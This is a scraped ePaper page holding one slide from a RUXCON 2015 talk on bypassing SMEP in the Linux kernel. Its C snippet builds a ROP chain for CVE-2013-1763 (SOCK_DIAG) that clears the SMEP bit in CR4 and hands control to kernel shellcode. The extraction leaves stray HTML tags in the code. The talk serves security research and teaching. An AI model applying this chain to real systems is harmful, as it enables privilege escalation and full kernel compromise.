06.11.2015 Views

Practical SMEP bypass techniques on Linux

RUXCON15-Vitaly

RUXCON15-Vitaly

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

CVE-2013-1763<br />

SOCK_DIAG<br />

ptr = (unsigned l<strong>on</strong>g *)(fakestack + 0x10000000 - 0x1000);<br />

*fakestack ++= 0xffffffff8133dc8fUL; // pop rdi; ret<br />

*fakestack ++= 0x407e0;<br />

// CLEAR <str<strong>on</strong>g>SMEP</str<strong>on</strong>g> BIT<br />

*fakestack ++= 0xffffffff810032edUL; // mov cr4, rdi; pop rbp; ret<br />

*fakestack ++= 0xdeadbeef;<br />

// dummy placeholder<br />

*fakestack ++= (unsigned l<strong>on</strong>g)kernel_code; // transfer c<strong>on</strong>trol to<br />

our usual shellcode

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!